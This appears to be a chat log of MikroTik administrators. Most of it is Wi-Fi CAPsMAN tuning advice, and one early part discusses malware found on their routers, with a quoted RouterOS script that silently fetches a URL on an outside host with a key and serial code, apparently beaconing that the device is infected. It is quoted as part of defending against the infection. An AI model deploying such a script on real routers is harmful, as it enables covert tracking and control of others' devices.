Roman
Moneron 🇷🇺
Значит, используется для обозначения, что хост жив
Roman
Roman
Roman
Roman
Roman
Moneron 🇷🇺
Вот что внутри скрипт3?
Vladyslav
у вас старая версия "вируса"
Vladyslav
в новой он не сохраняет сам файл
Vladyslav
или вы сами сохранили?
Roman
Roman
Vladyslav
ну в новой стоит keep result=no в конце
Vladyslav
кстати, вот я недавно сделал ханипот и баню всех на 8291 стучащихся, но адреса уж очень подозрительные
Vladyslav
Roman
А есть нового скрины ?
Vladyslav
в основном подсетка прова...
Vladyslav
как на это реагировать?
Roman
По рекомендации с чата главных админов во главе Alex , на всех устройствах сделан порт кнокинг
Vladyslav
А есть нового скрины ?
ну остальное всё такое же, просто в скрипте на фетч этого файла в конце стоит эта команда чтобы он не сохранял на флеш файлик, заботятся о памяти микротика, умнички
Roman
Vladyslav
Закрыть винбокс
сделан хонипот на 8291, причём тут закрыть винбокс?
Roman
На часок
Vladyslav
я о том что сканят с сетки провайдера на 8291
Roman
Не провайдеры а боты и вирусы
Roman
больше 3-х лет работает и не взломан на релаьном ип :(
Vladyslav
Roman
Надо попросить Alex попробывать их качнуть
Роман
Вот что внутри скрипт3?
/system script
add name=ip owner=admin policy=reboot,read,write,policy,test,password,sniff,sensitive source=\
"{/tool fetch url=(\"http://www.boss-ip.com/Core/Update.ashx\\\?key=5bc24d5c0d21bf27&action=upload&sncode=42985C0BE07C47E7D0C452CF1595AAD7&dynamic=static\") keep-result=no}"
Moneron 🇷🇺
Roman
Roman
подскажите как вылить конфиг капсмена чтоб посмотрели и ткули в ошибки,так как идут отвалы клиентов от точек
Roman
caps-man export
V
Команда export с директории капсмена
Moneron 🇷🇺
Roman
Roman
Вот экспорт камс мена и настройки с гугла :)
https://pastebin.com/KFSevNAK
Moneron 🇷🇺
Какие мощности сигнала разрешены на/в Украине?
Moneron 🇷🇺
Вижу интересный выбор 9го канала в 2,4, завышенную по Российским меркам мощность, экстеншн на 2,4 (в шумном эфире лучше без него). и в провижне я обычно делаю экшн create enabled
Moneron 🇷🇺
Т.к. локал форвард – дальше нужно на капы смотреть, что там с интерфейсами вы сделали. Немного забегая вперёд, на капах ставлю "static-virtual=yes"
Кирилл
В дополнение к вышесказанному рекомендую почитать про не пересекающиеся каналы и после сканирования эфира сделать осознанный выбор канала.
Установить
hw-protection mode - rts-stc
И group key update - 1h
Moneron 🇷🇺
Rts cts только
Кирилл
Два раза написал не правильно )
Кирилл
Спасибо за уточнение
Moneron 🇷🇺
И зачем менять груп-кей-апдейт?
Roman
Ок счас это всё исправлю , протестируем
Кирилл
И зачем менять груп-кей-апдейт?
У меня были кейсы, когда увеличение времени апдейта ключа приводило у уменьшению количества переподключений девайсов
Кирилл
В основном это поведение было характерно для ipad и iphone
Moneron 🇷🇺
Для яблок ещё длинную преамбулу нужно ставить
Vladyslav
не в тему капов но вайфай и микротик... как-то пожаловались клиенты что раз в 10 минут их тупо выкидывает от вайфая, я сам был свидетелем этого, просто отрубает но сразу само подрубает. И оказалось это по dhcp серверу была проблема... Поменял лиз тайм на 6 часов и стало всё хорошо)
Vladyslav
ай, вайфай то унифайный
Moneron 🇷🇺
Moneron 🇷🇺
Vladyslav
Пфф, нет
шо нет, я про свой кейс)
Moneron 🇷🇺
Аа, понял. Я думал, вы за юнифай топить решили 😄
Roman
Урифай тьюху тьюху тьюху лопатит как танк
Vladyslav
Roman
У вас же госком яблоки же ?
Vladyslav
Roman
Vladyslav
Roman
Итого в России же яблоки сертифицированные гос ком связью России !
Roman
У вас офф яблоки продаются
Vladyslav
не знаю як у вас, але у нас усе офіційно
Махонькой Чертёнок
,
Roman
Roman
Moneron 🇷🇺
100 милливатт и 3дб антена
Антенна и без вас усилит. Уменьшать мощность нужно на величину её коэффициента усиления, не увеличивать.
Roman
Roman
Но микротик же 1.5 и 2 дб
Moneron 🇷🇺
И? В рф можно 100
Roman
Итого у вас 40-50 милливатт передатчик и антена 1.5-2 и на выходе 100 ?
Moneron 🇷🇺
При разрешённых 20 децибелмилливаттах и антенне с коэффициентом 2 децибелла, подводить нужно 18, а не 22